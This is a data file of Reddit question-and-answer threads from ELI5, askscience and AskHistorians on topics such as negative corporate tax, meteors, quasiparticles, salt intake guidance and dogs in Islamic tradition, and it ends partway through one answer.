{"q_id": "m2he2", "title": "negative corporation tax", "selftext": "I've been seeing some news articles recently, [such as this one,](_URL_0_) which seem to state that some corporations pay negative tax.\n\nI understand that it is possible for people to pay negative tax, because of benefits and such, but how can a corporation receive more money to the government than it pays, especially when the corporation in question is enormous and successful (like General Electric)?\n\nPlease try to keep the answer unbiased if possible. I understand that it's not a good practice; I just want to know how it works.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/m2he2/eli5_negative_corporation_tax/", "answers": {"a_id": ["c2xjrt2", "c2xjt31", "c2xklwk", "c2xkred", "c2xlobc", "c2xjrt2", "c2xjt31", "c2xklwk", "c2xkred", "c2xlobc"], "score": [4, 8, 3, 2, 6, 4, 8, 3, 2, 6], "text": ["Basically, you find legal loop holes to avoid paying tax.\n\nExamples\n\n* moving to countries (or even states in the US) that have tax havens/better tax rates/less rules\n* look at current laws to see if you can avoid paying tax\n* lobbying the government for exceptions\n* mergers, acquisitions, and liquidations may not be taxed\n\nBasically, as a company, you have an expectation to shareholders/investors to make as much money as possible. For this reason you hire a bunch of tax experts to get the maximum return on payable tax to the government.", "Let's say you make $50,000, and pay $15,000 in income tax.\n\nYou could hire someone to find loopholes and help you move your money around, but it is only $15,000, so it doesn't make sense to spend much more than a few thousand to try to reduce it.\n\nNow imagine you make $50 billion instead, and owe $15 billion.  If you spend just $1 billion, that's a team of lawyers and accountants and lobbyist all working for you.  Every possible loophole will be found, every possible subsidy will be exploited, and even when you go too far, you can tie it up in the courts for so long it is not worth the government's effort...especially with the congressmen you helped get elected breathing down the government's neck.", "There are a ton of tax incentives and tax credits available to corporations.  Many of these are created by government to prop up fading industries (like some types of farming), or incentivize growth in a new industry (like \"green energy\").\n\nGE, in particular, probably benefits quite a bit from green tax credits since they make wind turbines and other \"green\" products.", "[Subsidies](_URL_0_) play a big role in this too. It's not really negative tax, per se, but the money/resources/discounts the government gives to a corporation sometimes outweighs the money the corporation pays to the government.", "The stories you hear usually refer to *federal corporate income tax*, which is only one of many taxes corporations may pay, including payroll taxes and various state taxes. When a corporation didn't pay any federal income tax, it doesn't mean it paid no taxes at all. Another important point to remember is that a corporation pays taxes on profit, not revenue, so if it suffers a loss it obviously won't pay any income tax on it.\n\nBut how is it possible for an \"enormous and successful corporation\" to not only pay no income tax, but to claim a net tax benefit? In short: tax deductions.\n\nIn the current climate people tend to automatically call every tax deduction a loophole, as in a mechanism allowing to unfairly game the system. This is completely wrong. Most deductions are there for fair reasons and many of them are incentives that we very much *want* corporations to use, such as charity deductions or green energy credits.\n\nYou mentioned the case of General Electric. Its GE Capital division suffered billions of dollars of losses during the financial crisis. GE then took advantage of a tax rule called carryforward, which allows a company to apply its losses to future tax years in which it makes a profit, thus reducing its tax liability. It's an explicit, widely accepted mechanism designed for exactly this purpose. As far as I know, this is the main reason why GE could claim a net tax benefit in 2010. By the way, it was their first such situation in many decades.\n\nYou assumed it is \"not a good practice\" that GE paid negative tax, even before you found out how it worked and how it was justified. You specifically mentioned \"enormous\" corporations in your question, as if size was relevant to whether or not a company generates taxable income or should be allowed to use various tax benefits. There is a lot of wrong with corporations but let's be more careful. Knee-jerk sentiments aren't helping anybody and only detract from the real roots of the problems.", "Basically, you find legal loop holes to avoid paying tax.\n\nExamples\n\n* moving to countries (or even states in the US) that have tax havens/better tax rates/less rules\n* look at current laws to see if you can avoid paying tax\n* lobbying the government for exceptions\n* mergers, acquisitions, and liquidations may not be taxed\n\nBasically, as a company, you have an expectation to shareholders/investors to make as much money as possible. For this reason you hire a bunch of tax experts to get the maximum return on payable tax to the government.", "Let's say you make $50,000, and pay $15,000 in income tax.\n\nYou could hire someone to find loopholes and help you move your money around, but it is only $15,000, so it doesn't make sense to spend much more than a few thousand to try to reduce it.\n\nNow imagine you make $50 billion instead, and owe $15 billion.  If you spend just $1 billion, that's a team of lawyers and accountants and lobbyist all working for you.  Every possible loophole will be found, every possible subsidy will be exploited, and even when you go too far, you can tie it up in the courts for so long it is not worth the government's effort...especially with the congressmen you helped get elected breathing down the government's neck.", "There are a ton of tax incentives and tax credits available to corporations.  Many of these are created by government to prop up fading industries (like some types of farming), or incentivize growth in a new industry (like \"green energy\").\n\nGE, in particular, probably benefits quite a bit from green tax credits since they make wind turbines and other \"green\" products.", "[Subsidies](_URL_0_) play a big role in this too. It's not really negative tax, per se, but the money/resources/discounts the government gives to a corporation sometimes outweighs the money the corporation pays to the government.", "The stories you hear usually refer to *federal corporate income tax*, which is only one of many taxes corporations may pay, including payroll taxes and various state taxes. When a corporation didn't pay any federal income tax, it doesn't mean it paid no taxes at all. Another important point to remember is that a corporation pays taxes on profit, not revenue, so if it suffers a loss it obviously won't pay any income tax on it.\n\nBut how is it possible for an \"enormous and successful corporation\" to not only pay no income tax, but to claim a net tax benefit? In short: tax deductions.\n\nIn the current climate people tend to automatically call every tax deduction a loophole, as in a mechanism allowing to unfairly game the system. This is completely wrong. Most deductions are there for fair reasons and many of them are incentives that we very much *want* corporations to use, such as charity deductions or green energy credits.\n\nYou mentioned the case of General Electric. Its GE Capital division suffered billions of dollars of losses during the financial crisis. GE then took advantage of a tax rule called carryforward, which allows a company to apply its losses to future tax years in which it makes a profit, thus reducing its tax liability. It's an explicit, widely accepted mechanism designed for exactly this purpose. As far as I know, this is the main reason why GE could claim a net tax benefit in 2010. By the way, it was their first such situation in many decades.\n\nYou assumed it is \"not a good practice\" that GE paid negative tax, even before you found out how it worked and how it was justified. You specifically mentioned \"enormous\" corporations in your question, as if size was relevant to whether or not a company generates taxable income or should be allowed to use various tax benefits. There is a lot of wrong with corporations but let's be more careful. Knee-jerk sentiments aren't helping anybody and only detract from the real roots of the problems."]}, "title_urls": [], "selftext_urls": ["http://www.economist.com/blogs/dailychart/2011/11/focus-0?fsrc=scn/fb/wl/dc/uscorporatetax"], "answers_urls": [[], [], [], ["http://www.bloomberg.com/news/2011-06-01/tax-subsidies-at-ge-boeing-and-fedex-targeted-by-d-c-group.html"], [], [], [], [], ["http://www.bloomberg.com/news/2011-06-01/tax-subsidies-at-ge-boeing-and-fedex-targeted-by-d-c-group.html"], []]}
{"q_id": "1lk7bj", "title": "How far is a meteor from an observer?", "selftext": "When I see a shooting star in the sky, how far could it possibly be from me? Clearly, it varies, but what would the maximum range be?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1lk7bj/how_far_is_a_meteor_from_an_observer/", "answers": {"a_id": ["cc04afk", "cc04caz"], "score": [10, 3], "text": ["They become visible around 100 km altitude. So if it's overhead or nearly so then that's roughly the distance to it. If it's near the horizon then it could be much further away. 100 km altitude and exactly at the horizon would be about 1,100 km away. Unlikely that you could see one exactly at the horizon but you asked for the maximum.", "Exerpts from the [Wikipedia](_URL_0_) page:\n\n\"Meteors typically occur in the mesosphere at altitudes between 76 km to 100 km (46\u201362 miles).\"\n\n\"Meteors become visible between about 75 to 120 km (34\u201370 miles) above the Earth. They usually disintegrate at altitudes of 50 to 95 km (31\u201351 miles).\"\n\nSo, the answer to your question would be these figures if you are observing a meteor directly above you. Obviously meteors that are observed closer to the horizon will be farther from the observer"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Meteoroid#Meteor"]]}
{"q_id": "dlo0fw", "title": "how does starlink work?", "selftext": "Just curious :)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/dlo0fw/eli5_how_does_starlink_work/", "answers": {"a_id": ["f4sp02i"], "score": [5], "text": ["Starlink is a cluster of small satellites (Satellite Constellation) that fully loop around the earth. They use lasers to communicate with each other, and use radio waves to communicate with devices on earth. So if you were connected to one, your internet traffic would go from your phone to a Starlink satellite, and that satellite will relay the traffic to several other Starlink satellites until it's close enough to the destination and then send it back to earth.\n\nThe big advantage to Starlink is that the satellites are not in geosynchronous orbit, so they can be much closer to earth. This reduction in distance means that devices that use the satellites will not need bulky antennas or big batteries. This also improves performance."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "27kuj4", "title": "What exactly is a quasiparticle specifically such as a spinon, holon, or orbiton?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27kuj4/what_exactly_is_a_quasiparticle_specifically_such/", "answers": {"a_id": ["ci1wy5b", "ci1xbjd"], "score": [6, 3], "text": ["This is actually pretty difficult to answer at a laymen level, but I'll give it a shot, because it is a very good question.\n\nA quasiparticle is a type of \"collective excitation,\" meaning it usually occurs when considering a large number of particles whose interactions dramatically alter the physics from how the individual particles act. If there were no interactions, then all particles would simply act like normal, essentially just passing through each other. Of course, there usually are interactions, and this dramatically alters what we see when we probe the individual particles in a many-body system. The simplest examples are quasielectrons and holes. Due to various interactions, the electrons in a metal can act as though they have a different mass, and their electric field is altered by screening from the rest of the material - however, they still have the same charge and spin as electrons. Similarly, the lack of an electron is usually called a \"hole,\" and acts like an independent particle in a material.\n\nThe above examples are pretty straight-forward, but truly collective excitations are a little weirder. The simplest is when you consider hitting a lattice of ions and seeing how the lattice deforms. Classically, you can think about deformations of the lattice in terms of a sound wave propagating across the lattice. But in quantum mechanics, you need to quantize the lattice vibrations, leading to a new type of particle - the phonon. Even though you started with a lattice of relatively heavy ions, the actually particles you see in the material are these phonons corresponding to the sound waves. These phonons are \"massless\" (which in condensed matter means that they exist at arbitrarily low energies). Another famous example: in ferromagnets, the magnetic moments (usually electrons) all point in the same direction, but if you excite the system (say, by scattering a neutron), you will excite a \"spin wave\" through the system, which is described by magnons. \n\nThis emergence of new low-energy quasiparticles from the complicated interactions of the system is central to solid state/condensed matter, and it just gets more exotic as we try to find new materials with new properties. More recently, we have been interested in \"fractionalized excitations,\" an incredible phenomenon where the excitations will carry fractions of the quantum numbers of the fundamental particles (e.g. electrons). The simplest system (because it's actually solvable) is electrons in one-dimension with short-range repulsive interactions. In this case, you get the incredible phenomenon of [spin-charge separation](_URL_0_), where you can have charge waves and spin waves independently of each other. In other words, the electron has \"fractionalized\" into two independent quasiparticles, one which carries spin, and the other which carries charge. The 1D model is, of course, relatively simple, but your spinon, orbiton, and holon are similar fractionalized quasiparticles which carry the spin, orbital, and charge degrees of freedom in a more general fractionalized system.", "In many areas of physics we describe the fundamental interactions using a field theory. A field is just an object that has a value at each point in the system we're studying (it could be a scalar, or a vector, or even a tensor value).\n\nFor example, although we normally think of the electron as a 'particle,' from the perspective of the standard model, the electron is really a coherent region of a quantum field theory. By coherent I mean that it is  robust; this bundle has certain properties that can be measured and are not easily disrupted. I also mean that the value of the field is anything but random in this region; the values at neighboring points are highly correlated.\n\nIn many systems that we analyze using field theory we can find such coherent regions. You gave some examples in your question and [phonons](_URL_0_) are another common example that are a bit easier to understand. These regions become quasi-particles when we regard them as definite entities and write (sometimes approximate) equations that describe how those regions move and interact over time.\n\nSo at a very fundamental level in a field theory, there are only fields. But the dynamics can be very complicated because we have to describe interactions and changes at EVERY point in the space. To make things simpler to think about and calculate, we often divide the field up into coherent regions (or states) and then describe what happens to those regions over time rather than at every point. These regions (or states) are called quasi-particles because their description resembles that of particles, rather than fields."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Spin\u2013charge_separation"], ["http://en.wikipedia.org/wiki/Phonon"]]}
{"q_id": "rukdc", "title": "How large would a rotating space station have to be in order for its occupants to not feel the coriolis effect?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/rukdc/how_large_would_a_rotating_space_station_have_to/", "answers": {"a_id": ["c48sbek"], "score": [4], "text": ["This question comes up about once a week, and is usually answered badly, just read this . . . .\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Artificial_gravity"]]}
{"q_id": "27r2du", "title": "Why do they suggest you eat less salt \"if you are black\"?", "selftext": "I was looking up the differences between table salt/sea salt for a friend on the Mayo Clinic website and something caught my eye and made me very curious...\n\"The Dietary Guidelines for Americans recommend limiting sodium to less than 2,300 milligrams a day \u2014 or 1,500 milligrams if you're age 51 or older, or if you are black, or if you have high blood pressure, diabetes or chronic kidney disease.\" \n\nSo my question is, why does skin color make a difference with how much sodium you should be consuming?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/27r2du/why_do_they_suggest_you_eat_less_salt_if_you_are/", "answers": {"a_id": ["ci3jmw1", "ci3jnp5", "ci3qnh3", "ci3tdd4"], "score": [21, 5, 2, 2], "text": ["Salt sensitivity is prevalent in the african american population as well as hypertension. Limiting salt in their diets works to lessen cardiovascular problems.\n\nHere's an an article I found on google; _URL_0_", "I don't know about the medical side specifically, but when analyzing health data, it frequently turns out that race is a significant factor. When doing analysis, it is frequently possible to identify how much of an effect various factors have on the measured outcome. If the same amount of salt intake for some groups leads to worse outcomes, the recommendations would therefore reflect that fact.\n\nThis may be genetics, or culture, or environment, but at the end of the day, if the numbers say that salt effects the two groups differently, that would lead to the recommendations being different.", "Lots do be said here about the relationship between hypertension and sodium intake, but there's another interesting question here about race in medicine.  Two terms that have been used here are \"black\" and \"african american,\" which are occasionally interchangeable, but often not, and reflect the difficulty of usefully identifying people by their race in medicine.  There is more genetic variation within a race than between races, suggesting that race is more of a social construct than a scientific one.  \n\nNonetheless, race is often identified as a variable in academic research, and that isn't necessarily a bad thing.  Identifying groups at risk for disease, like hypertension, may well help target interventions, even if it does not usefully identify a causality, or if the correlation is confounded by another variable.  Further, when the mayo clinic identifies the black population, they may well be referring to likely readers of their website, say, American English-speaking black, which eliminates some of the imprecision of the term by itself.", "We shall start this journey into history by considering that Blacks is synonymous with African-American.  African-Americans are descendants of slaves captured in Africa and forced emigrated to America.  \n\nThese Africans were forced to march from the corners of Africa towards western Africa where the Atlantic Ocean waits.  In their march across the deserts of Africa, only individuals with the ability to conserve water would survive.  To conserve water, individuals would have to conserve salt.  Thus individuals predisposed to salt retention would survive the march.  A bottleneck effect ensues.\n\nThis bottleneck effect is exaggerated upon crossing the Atlantic ocean, where the extremes of dehydration were reality.  This means that only the best genes for salt-retention would permit survival.  This is Darwinian natural selection at its best.\n\nMove forward to the 21st century and circumstances have changed.  A genetic predisposition (salt-retention gene) that was beneficial in one environment (period of time) has become a negative predisposition in another environment.  This new environment I refer to is the high salt-diet in western countries.  American descendants of Africans forced into slavery, will therefore retain more salt than other American-races.\n\nIn conjunction with a high salt diet, this efficiency retaining salt makes African-Americans salt-sensitive and therefore predisposed to diseases caused by high dietary salt, especially cardio-vascular diseases like hypertension.   This is why African-Americans are more at risk of developing cardiovascular diseases than non-African-Americans (including Africans that have immigrated to the U.S.A).  \n\nFor the same reason in the USA, an anti-hypertensive drug for a Caucasian will have no effect on a African-American because of different disease aetiologies.\n\nEveryone has this gene (and for the life of me, I cannot remember that specific gene name) it is just that in African-Americans this gene was selected for in their ancestors.  So skin colour is simply a broad generalisation to categorise people and structure the health-care system/funds, however in this particular case, anthropological genetics would suggest otherwise!  If the salves were marched from East Asia, to Africa then crossed the Atlantic to the Americas, then it today your question would be \"Why do they suggest you eat less salt if you are Asian.\" - In fact, they do and that is a story for another day =]\n\n\nI do hope my explanation was understandable.  I tried my best to leave out as much jargon as possible.\n\n\nWilson, T. W.,  &  Grim, C. E. (1991). Biohistory of slavery and blood pressure differences in blacks today. A hypothesis. Hypertension, 17(1 Suppl), I122."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.medscape.com/viewarticle/407741_3"], [], [], []]}
{"q_id": "1haclr", "title": "car shows.", "selftext": "What so people do at car shows? What makes some cars appropriate to show and others not? What are people looking at when the hoods are up? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1haclr/eli5_car_shows/", "answers": {"a_id": ["case1qw"], "score": [2], "text": ["1. Show off their cars, look at other peoples' cars, talk about cars, take pictures of cars.  Maybe get some fried dough.  Or churros. \n2. Depends on the car show.  You wouldn't bring a restored 1955 Chevy to a import/racing show, just like you wouldn't bring a customized Mitsubishi Lancer to a classic car show.\n3. The engines.  Specifically, what people have done to them.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6y3rfv", "title": "why does pressing a button on a remote control seem to work better when pressed down harder?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6y3rfv/eli5_why_does_pressing_a_button_on_a_remote/", "answers": {"a_id": ["dmkg115"], "score": [2], "text": ["When you press a button on a typical remote (the kind you still need to point at the receiver), it emits a pattern of infrared signals repeatedly until you let go.  Once the TV or whatever picks it up, the action happens.  When you press down harder, it's not the pressure that's doing anything, it's that you are also pressing it *longer*, and that emits more cycles of the signal, and more chances that the receiver will pick it up."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6akq7m", "title": "why do the men in the english royal family have so many war medals even though they probably never went into battle?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6akq7m/eli5_why_do_the_men_in_the_english_royal_family/", "answers": {"a_id": ["dhf977s", "dhfami6", "dhfgn1z", "dhg5fmy"], "score": [37, 56, 7, 4], "text": ["They routinely do. The king being present on the battlefield has a long tradition. 15 monarchs from England or Scotland have been killed in battle. Presently Prince Harry is a veteran of the Afghan War.", "The duke of Edinburgh saw service during WW2 including the Battle of Crete. Charles trained in the RAF and the Royal Navy and worked on a minesweeper for a time. Andrew is a member of the RAF and the Royal Navy and saw action during the Falklands war(Parliament tried to get him moved to a desk job but the Queen stepped in and said no, he should be allowed to remain). Edward trained for a short time as a Royal Marine but dropped out(and apparently got a lot of shit for it). William joined the RAF and also trained with the Navy. He tried to pursue deployment in Afghanistan but it was denied, he works as part of the RN sea rescue. Harry trained in the Army and went on to train to be a pilot. He served in Afghanistan on one tour as an Apache pilot for 20 weeks in total.\n\nAll members of the royal family go in as commissioned officers so gaining honours and medals is normally par for the course and medals don't mean you're necessarily in the front line of combat.", "Yeah pretty much every male in the Royal Family has served to some extent.  Medals can be earned for more than combat, too. ", "A lot of them are orders, not medals, strictly speaking, indicating membership in various orders of chivalry. The British have a lot of them, and members of the royal family are regularly and traditionally inducted into them and allowing them to wear the insignia. Taken further, the Commonwealth realms usually have orders of their own, and since the British royal family is their royal family as well, they also get membership. Further still, members of royal families have also traditionally been inducted into foreign orders of chivalry as a token of friendship and courtesy, allowing them to wear those orders, as well. This results in royals from all countries having lots of orders to choose from to wear.\n\nAs has also been stated, the royals also serve in the military, and would receive various service medals when they earned them. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3usjh1", "title": "why are alot of train stations in major cities (mostly north american cities) are all called union station.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3usjh1/eli5_why_are_alot_of_train_stations_in_major/", "answers": {"a_id": ["cxhf9zw", "cxhfbgo"], "score": [32, 5], "text": ["Basically a station is called a \"Union Station\" when tracks and other facilities were shared by more than one railway. It's always a passenger terminal.\n\nThis allowed passengers to quickly go from one service to an other, when railways were more regional. So, for example, you took one train to Chicago, and jumped on another train from there to Los Angeles.\n\nIn Europe they're called \"Joint Stations\".", "Back in the day there were many more railroads than today and each had its own rail stations. If you were traveling cross country, you would have to change stations when you changed trains. Someone had the idea of unifying major rail hubs into just one major station, thus Union Station."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "9a50is", "title": "how do calculator batteries never run out?", "selftext": "I've had the same calculator for the past 5 years and it's never died or anything, so how do they never need new batteries?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9a50is/eli5_how_do_calculator_batteries_never_run_out/", "answers": {"a_id": ["e4ssyun", "e4st0ca", "e4szjab"], "score": [11, 31, 2], "text": ["Well, most calculators\u2019 shelf life last up to around ten years. But like all devices, it\u2019s all up to how often you use it. The self discharge rate from simple calculators is very minimal, and most people don\u2019t really use their calculators for a really long time thus making it seem like it \u201cnever runs out.\u201d", "Calculators use very little power, so it's battery lasts many years. \nSome calculators have a small solar panel which can usually generate enough electricity to power it - the battery is only there as a backup and so it can last for many more years without the battery going flat. ", "They use very little power, a single coin cell battery can easily outlast modern crappy plastic calculators. And also the solar panel on most calculators takes over the battery whenever there is the smallest hint of light on it, making it last even longer"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "56pwbw", "title": "The Greenland shark's top speed is less than 3 km/h and they spend most of their lives blind, how do they survive?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/56pwbw/the_greenland_sharks_top_speed_is_less_than_3_kmh/", "answers": {"a_id": ["d8lft9x"], "score": [19], "text": ["Most sharks rely very little on eyesight for hunting; chemosense (smell) and electroreception are thought to be far more important for most species.  I don't know the studies on the Greenland shark specifically, but for the closely related sleeper shark, we have very little data on its pattern of predation when actually killing an animal.  Cruising speed, estimated from PATs or other tracking methods, doesn't rule out brief bursts of energetic pursuit or capture.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "82xbpj", "title": "why do our periods pause when in the shower?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/82xbpj/eli5_why_do_our_periods_pause_when_in_the_shower/", "answers": {"a_id": ["dvdhnnr"], "score": [2], "text": ["We don't all have periods.\n\nWomen don't bleed at a constant rate non-stop during their cycle.  So theres a good chamces for the few minutes you are in a shower you dont notice anything.  It could be you do still spot, but its washed away."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1jg8r2", "title": "Why are recumbent bicycles faster than normal ones, and why aren't they used more commonly in races like the Tour de France?", "selftext": "This is a recumbent bike: _URL_0_\n\nThe top speed for a bike powered by a human is around 82 mph, and is set on the recumbent bicycle, rather than a normal bicycle.\n\nIf they are faster, why aren't they used in races, and why aren't they more common?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1jg8r2/why_are_recumbent_bicycles_faster_than_normal/", "answers": {"a_id": ["cbed1oi", "cbep2i1"], "score": [18, 2], "text": ["The way recumbent bicycles are set up allow for less drag. To put it simply, they are more aerodynamically sound with a rider than traditional bikes.\n\nThe reason they're not allowed in races is because they are banned from international competition due to their efficiency.", "The [Union Cycliste Internationale](_URL_0_) decided very early on in thier history that they didnt like recumbents and that was it.\n\nTo be fair a lot of sporting bodies tend to favour individual performance over technological achievement, as long as all participants are on the same machines what difference does it make that those machines are not the fastest possible."]}, "title_urls": [], "selftext_urls": ["http://basicallybicycles.com/merchant/590/images/site/TeamRans2.jpg"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Union_Cycliste_Internationale"]]}
{"q_id": "1ytz32", "title": "comcast/timewarner buyout...", "selftext": "ELI5: How is it legal for Comcast to buy Time Warner Cable, essentially creating a monopoly over the cable/internet marketplace?  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ytz32/eli5_comcasttimewarner_buyout/", "answers": {"a_id": ["cfnsu5x"], "score": [2], "text": ["To give a little insight that doesn't just involve complaining, I believe part of the expected antitrust... um... deal, I guess, is that they'll have to drop somewhere around 3 million customers, keeping them under the 30% market share antitrust laws lay out.\n\nI'm hoping my region gets cut and Google swoops in with Fibre. But that's probably pretty unlikely."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9h8n4t", "title": "Why are dogs considered unclean in Islamic tradition? Is this a reaction to the Zoroastrian reverence of dogs?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9h8n4t/why_are_dogs_considered_unclean_in_islamic/", "answers": {"a_id": ["e6aw2x3", "e6awlsy", "e6awy8i"], "score": [381, 215, 47], "text": ["Hey!  Great question.  This isn't something that I've read any specific articles/books on (as there aren't any that I know of!), but I'll give it my best to answer it.\n\nThe question of whether dogs are clean or not is a complicated one.  Is it the dog itself that's unclean, or only its saliva?  Is it equally unclean if it is a working dog or merely a pet?  Why would dogs have come to be seen as unclean in the first place if they're so useful? I suppose, as is often with Islamic traditions, we have to start *before* Revelation and see how dogs were viewed in Pre-Islamic Arabia.\n\nIn Pre-Islamic poetry, dogs are used to convey both positive attributes (think \"loyal like a dog\") and negative attributes (\"as lewd as a dog\").  The difference on opinions also was found between Bedouins, who tended to view dogs more positively, and city-dwelling Arabs, who saw them more as a source of disease and contagion.  In particular, there was a fear of rabies, which is attested to in al-Jahiz's *Book of Animals*, a 9th century encyclopedia of animals.  In fact, the way to say \"Rabies\" in Arabic is literally \"the disease of dogs\". It is this fear of disease and filth that comes through into the later Islamic debate on dogs; the scholars had to answer the rather complex question of how dirty dogs truly are.\n\nWithin Islam, dogs are mentioned in the Qur'an multiple times. And, again, the signals are mixed.  In [Surat al-Kahf](_URL_4_), it is revealed that a dog lay watch over a sleeping group of men for hundreds of years, until they awoke in the future.  [Surat al-Ma'ida](_URL_2_) likewise provides a positive image of dogs, as it says that animals caught by hunting dogs was lawful to consume.  If you look at the translation of this verse, you will see that the English says \"hunting animals\", however the Arabic word there shares the same root as the word \"dog\" and is interpreted as meaning dogs as well as trained birds of prey.  [Another time](_URL_6_), the Qur'an uses the symbolism of a dog to explain those who reject Allah's call.  However, while it isn't a *good* mention, it isn't calling dogs dirty.\n\nSo where then does the belief that dogs are dirty come from?  Here we have to look to the Hadith, the collection of sayings attributed to Muhammed by his companions.  When the Qur'an doesn't explicitly answer an issue, the Hadith are the first stop for Muslim jurists making sense of an issue.  There are a number of Hadith that say that dogs make one unclean for prayer.  One of the most common is that:\n\n >  [\"When a dog licks a utensil belonging to any one of you, (the thing contained in it) should be thrown away and then (the utensil) should be washed seven times.\"](_URL_1_).  \n\nAnother one that appears quite often says that:\n >  [\"He who kept a dog other than one meant for watching the herd or for hunting would lose every day two qirat of his good deeds. 'Abdullah and Abu Huraira also said: Or dog meant for watching the field.\"](_URL_3_). \n\nA qirat was 1/12 of dirham, but is used in this context more to mean a heavenly reward - by keeping dogs, they were losing points in the afterlife.  These Hadiths, along with others, have been extended among many of the Islamic schools of jurisprudence to mean that dogs are ritually unclean, *najis*. \n\nIn general, the four main schools of Sunni Jurisprudence agree that dogs are permissible for hunting, guarding livestock, and guarding fields. But notably, the Maliki school doesn't agree here.  I haven't read much of the original work on this, but checked out [Ibn \u02bfAbd al-Barr's *Al-Tamh\u012bd li-ma f\u012b al-Muwa\u1e6da\u02be min al-Ma\u02bf\u0101n\u012b wa al-As\u0101n\u012bd*](_URL_5_) to verify what I've seen written on different Islamic forums (like I said, I haven't found Western scholarly works on this), and what I've read seems to hold true.  If you can read Arabic, the relevant section starts on page 221.  If not, the author argues that the phrasing regarding dogs\n\n >  \"points - and only Allah knows - towards hatred and not prohibition\" (translation mine).  \n\nThis is based on the wording of the various hadith about dogs, namely that they're never outright prohibited but rather believers are discouraged to be around them by punishments, like the Hadith that refers to losing 2 qirat a day.  When outright prohibitions are made, it is much clearer and in stronger language.\n\nSo I've written a lot and still not exactly answered your question.  There is no one reason *why* dogs are often considered unclean in the Muslim world.  Really, there is no one consensus *if* they are always considered unclean.  It appears to be a mix of hygiene concerns, a personal dislike of Muhammad towards dogs, and a general cultural trend.  In regards to your second question, I have never read anything linking it to Zoroastrianism, so I'll just not touch that bit at all :)\n\nI hope this helped, and I'll try to answer any questions you may have!  But really, this isn't my exact area of expertise and I may have to do research to get back to any more in-depth questions you have.\n_______\n\n**Edit:**  To read about the Zoroastrian part of the question, check out /u/lcnielsen's [amazing answer](_URL_0_) below!", "EDIT: For a more indepth discussion of specifically Islamic views of dogs than I give here, see /u/frogbrooks answer below: _URL_0_\n\nLooking for underlying reasons in matters of ritual purity is all-too often a fool's errand. While purity rites and rules mirror the society they appeared in, their delineations frequently follow lines of internal logic that may be inscrutable to an outsider. This is perhaps made no clearer than with the counter-example of Zoroastrianism that you mention in your title. True to my flair and because it's a fascinating chunk of scripture, I'd like to start by looking at that, because it will help answer your second question, and it will provide a case for comparison and contrast.\n\nThe generally most clear-cut accounts of Zoroastrian traditional views of dogs come from [Fargard 13](_URL_2_) and 14 of the Videvdad, a collection of moral guidances, pseudo-legal judgments, etc.  Fargard 13 begins with the two verses, laying out the (somewhat tedious) Q & A format:\n\n > [Thus spake Zarathustra:] \"Which is the good creature among the creatures of the _Spenta Mainyu_ that from midnight till the sun is up goes and kills thousands of the creatures of the _Angra Mainyu_?\"  \n\n > Ahura Mazda answered: \"The dog with the prickly back, with the long and thin muzzle, the dog Vanghapara, which evil-speaking people call the Duzaka; this is the good creature among the creatures of _Spenta Mainyu_ that from midnight till the sun is up goes and kills thousands of the creatures of the _Angra Mainyu_.\"  \n\n...  \n\n > \"Which is the evil creature among the creatures of the _Angra Mainyu_ that from midnight till the sun is up goes and kills thousands of the creatures of the _Spenta Mainyu_?  \nAhura Mazda answered: 'The daeva Zairimyangura, which evil-speaking people call the Zairimyaka, this is the evil creature among the creatures of the _Angra Mainyu_ that from midnight till the sun is up goes and kills thousands of the creatures of the _Spenta Mainyu_.\n\nNow, \"prickly back\" and \"long and thin muzzle\" might bring a slightly odd \"dog\" to mind, and Middle Persian literature (Bundahishn 19:28) confirms our suspicion:\n\n > The **hedgehog** is created in opposition to the ant which carries off grain, as it says, that the hedgehog, every time that it voids urine into an ant's nest, will destroy a thousand ants; when the grain-carrier travels over the earth it produces a hollow track; when the hedgehog travels over it the track goes away from it, and it becomes level.\n\nMeanwhile, Rivayat 218 speaks of the \"good hedgehod\" and the \"evil tortoise\". The evil name _Zairimyangura_ is glossed in West's 120-year old translation as \"probably meaning\" _devourer of 